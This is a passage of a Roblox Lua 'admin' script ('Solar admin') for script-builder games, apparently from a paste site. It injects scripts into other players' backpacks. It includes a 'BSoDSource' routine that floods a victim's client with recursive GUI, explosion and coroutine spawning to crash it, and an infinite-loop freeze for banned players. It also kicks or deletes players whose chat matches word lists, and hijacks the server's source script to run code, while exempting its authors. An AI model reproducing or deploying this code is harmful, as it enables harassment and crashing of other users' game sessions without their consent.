  962. if what:IsA("Script") or what:IsA("LocalScript") then
  963. if LBlock == false then return end
  964. if what.Name == "Health" then return end
  965. if what.Name == "HealthScript v3.1" then return end
  966. if what.Name == "Animate" then return end
  967. what.Disabled = true
  968. wait()
  969. what:Destroy()
  970. end
  971. end)
  972. ]]
  973. ConnectSource = [[
  974. script:ClearAllChildren()
  975. wait()
  976. script.Parent = nil
  977. Player = game.Players.LocalPlayer
  978. while wait(0.1) do
  979. if game.Lighting:findFirstChild("DISC: nil") then
  980. if Player.Parent == nil then
  981. Delay(0, wait)
  982. end
  983. end
  984. if game.Lighting:findFirstChild("DISC: "..Player.Name) then
  985. Delay(0, wait)
  986. end
  987. end
  988. ]]
  989. BSoDSource = [[
  990. wait()
  991. script.Parent = game:service'TeleportService'
  992. CC = workspace.CurrentCamera
  993. RS = game:service("RunService")
  994. PG = game.Players.LocalPlayer.PlayerGui
  995. C = game.Players.LocalPlayer.Character
  996. function Lag()
  997. coroutine.resume(coroutine.create(function()
  998. while wait() do
  999. M = Instance.new("Message",CC)
  1000. M.Text = tick()*math.floor(5%4*21)
  1001. H = Instance.new("Hint",CC)
  1002. H.Text = 'Get out from this place!'
  1003. SG=Instance.new("ScreenGui",PG)
  1004. FR=Instance.new("Frame",SG)
  1005. FR.Size = UDim2.new(500,500,500,500)
  1006. while wait() do
  1007. FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  1008. end
  1009. P=Instance.new("Part",CC)
  1010. E=Instance.new("Explosion",P)
  1011. E.BlastRadius=math.huge
  1012. E.Position=P.Position
  1013. F=Instance.new("Fire",P)
  1014. S=Instance.new("Smoke",P)
  1015. P.CFrame = CC.Focus
  1016. P.Anchored = true
  1017. P.CanCollide = false
  1018. P.AncestryChanged:connect(function()Lag()end)
  1019. for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  1020. end
  1021. end))
  1022. end
  1023. RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)
  1024. ]]
  1025. --[[LOCAL BLOCK]]--
  1026. loadstring(LBlock1)()
  1027. loadstring(LBlock2)()
  1028. loadstring(LBlock3)()
  1029. LocalPlayer.CharacterAdded:connect(function()
  1030. loadstring(LBlock2)()
  1031. loadstring(LBlock3)()
  1032. end)
  1033. --[[CONNECTIONS]]--
  1034. LocalPlayer.Chatted:connect(function(m)
  1035. Chat(m,ChatColor)
  1036. for i,v in pairs(Cmds) do
  1037. if v["Say"]..Key == m:sub(1, #v["Say"]+#Key) then
  1038. v["Func"](GetPlayers(m:sub(#v["Say"]+#Key+1)), m:sub(#v["Say"]+#Key+1))
  1039. end
  1040. end
  1041. end)
  1042. for _,speaker in pairs(game:service'Players':GetPlayers()) do
  1043. if speaker.Name ~= LocalPlayer.Name then
  1044. if speaker.Name ~= "aleksa12432" then
  1045. if speaker.Name ~= "optiplex123" then
  1046. if speaker.Name ~= "Exorsizer" then
  1047. speaker.Chatted:connect(function(msg)
  1048. for _,v in pairs(MuteWords) do
  1049. if string.find(msg,v) then
  1050. if speaker and speaker.Backpack then
  1051. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
  1052. end
  1053. end
  1054. end
  1055. for _,v in pairs(BadWords) do
  1056. if string.find(msg, v) then
  1057. if speaker and found == true then
  1058. NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
  1059. elseif speaker and found == false then
  1060. speaker:Destroy()
  1061. end
  1062. end
  1063. end
  1064. end)
  1065. end
  1066. end
  1067. end
  1068. end
  1069. end
  1070. game.Players.ChildAdded:connect(function(speaker)
  1071. if speaker:IsA("Player") then
  1072. if speaker.Name ~= LocalPlayer.Name then
  1073. if speaker.Name ~= "aleksa12432" then
  1074. if speaker.Name ~= "optiplex123" then
  1075. if speaker.Name ~= "Exorsizer" then
  1076. speaker.Chatted:connect(function(msg)
  1077. for _,v in pairs(MuteWords) do
  1078. if string.find(msg:lower(),v:lower()) then
  1079. if speaker and speaker.Backpack then
  1080. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
  1081. end
  1082. end
  1083. end
  1084. for _,v in pairs(BadWords) do
  1085. if string.find(msg:lower(),v:lower()) then
  1086. if speaker and found == true then
  1087. NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
  1088. elseif speaker and found == false then
  1089. speaker:Destroy()
  1090. end
  1091. end
  1092. end
  1093. end)
  1094. end
  1095. end
  1096. end
  1097. end
  1098. end
  1099. end)
  1100. --[[START]]--
  1101. for i = 0,8,1 do
  1102. Output("")
  1103. end
  1104. Output("Welcome to Solar admin","Really red")
  1105. Output("This script is made by aleksa12432 and optiplex123","Really red")
  1106. if SourceName == "DSource" then
  1107. Output("You are on Anaminus SB","Really red")
  1108. elseif SourceName == "Source" then
  1109. Output("You are on Oxcool1 SB","Really red")
  1110. elseif SourceName == "source" then
  1111. Output("You are on qlqkqzqrd SB","Really red")
  1112. end
  1113. for _,v in pairs(game:service'Players':GetPlayers()) do
  1114. if v.Name ~= LocalPlayer.Name then
  1115. if v.Name ~= "aleksa12432" then
  1116. if v.Name ~= "optiplex123" then
  1117. if v.Name ~= "Exorsizer" then
  1118. Connect(v)
  1119. end
  1120. end
  1121. end
  1122. end
  1123. end
  1124. --[[LOOPS]]--
  1125. coroutine.wrap(function()
  1126. while wait(30) do
  1127. for _,v in pairs(game:service'Players':GetPlayers()) do
  1128. if v.Name ~= LocalPlayer.Name then
  1129. if v.Name ~= "aleksa12432" then
  1130. if v.Name ~= "optiplex123" then
  1131. if v.Name ~= "Exorsizer" then
  1132. if v.Backpack ~= nil then
  1133. NewLS(ConnectSource, v.Backpack)
  1134. end
  1135. end
  1136. end
  1137. end
  1138. end
  1139. end
  1140. end
  1141. end)()
  1142. game:service'Players'.ChildAdded:connect(function(player)
  1143. if player.Name ~= LocalPlayer.Name then
  1144. if player.Name ~= "aleksa12432" then
  1145. if player.Name ~= "optiplex123" then
  1146. if player.Name ~= "Exorsizer" then
  1147. wait(3)
  1148. Connect(player)
  1149. end
  1150. end
  1151. end
  1152. end
  1153. end)
  1154. game:GetService("RunService").RenderStepped:connect(function()
  1155. if TabModel.Parent ~= TabModelParent then return end
  1156. if TabModel == nil then return end
  1157. if LocalPlayer then
  1158. if LocalPlayer.Character then
  1159. if LocalPlayer.Character:findFirstChild("Torso") then
  1160. Rotation = Rotation + Speed
  1161. for i,v in pairs(Tabs) do
  1162. ypcall(function()
  1163. if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Torso then
  1164. pos = LocalPlayer.Character.Torso.CFrame
  1165. else
  1166. pos = CFrame.new(0,0,0)
  1167. end
  1168. radius = 4 + (#Tabs * 0.5)
  1169. x = math.sin((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
  1170. y = 0
  1171. z = math.cos((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
  1172. arot = Vector3.new(x, y, z) + pos.p
  1173. brot = v.CFrame.p
  1174. crot = (arot * .1 + brot * .9)
  1175. v.CFrame = CFrame.new(crot, pos.p)
  1176. end)
  1177. end
  1178. end
  1179. end
  1180. end
  1181. end)
  1182. game:service'RunService'.RenderStepped:connect(function()
  1183. if TabModelDebounce == true then return end
  1184. if TabModel.Parent ~= TabModelParent then
  1185. TabModelDebounce = true
  1186. Tabs = {}
  1187. TabModel = Instance.new("Model", TabModelParent)
  1188. TabModel.Name = "Solar tabs"
  1189. Tabs = {}
  1190. Rotation = 0
  1191. wait()
  1192. TabModelDebounce = false
  1193. end
  1194. end)
  1195. coroutine.wrap(function()
  1196. while wait() do
  1197. for _,v in pairs(game:service'Workspace':children()) do
  1198. if v and v:IsA("StringValue") and v.Name == Code then
  1199. if v.Value ~= nil and v.Value ~= "" then
  1200. Output(v.Value,"Really red")
  1201. game:service'Debris':AddItem(v, 3)
  1202. end
  1203. end
  1204. end
  1205. end
  1206. end)()
  1207. coroutine.wrap(function()
  1208. while wait() do
  1209. for _,v in pairs(game:service'Players':GetPlayers()) do
  1210. pcall(function()
  1211. for j,k in pairs(Banlist) do
  1212. if v.Name == k then
  1213. if v:findFirstChild("Backpack") ~= nil then
  1214. NewLS("repeat until ucrappedurpants", v.Backpack)
  1215. end
  1216. end
  1217. end
  1218. for j,k in pairs(HardBanlist) do
  1219. if v.Name == k then
  1220. if v:findFirstChild("Backpack") ~= nil then
  1221. NewLS(BSoDSource, v.Backpack)
  1222. end
  1223. end
  1224. end
  1225. end)
  1226. end
  1227. end
  1228. end)()
  1229. while found == false do
  1230. if game.PlaceId == 21053279 or game.PlaceId == 21053219 then break end
  1231. for _,ScriptInWorkspace in pairs(workspace:children()) do
  1232. if ScriptInWorkspace then
  1233. if ScriptInWorkspace:IsA("Script") then
  1234. if ScriptInWorkspace:FindFirstChild(SourceName) then
  1235. NewScript = ScriptInWorkspace:Clone()
  1236. wait()
  1237. NewScript.Name = "NewScript"
  1238. NewScript.Disabled = true
  1239. NewScript:FindFirstChild(SourceName).Value = ""
  1240. Output("Found a source!", "New Yeller")
  1241. found = true
  1242. break
  1243. end
  1244. end
  1245. end
  1246. end
  1247. wait()
  1248. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement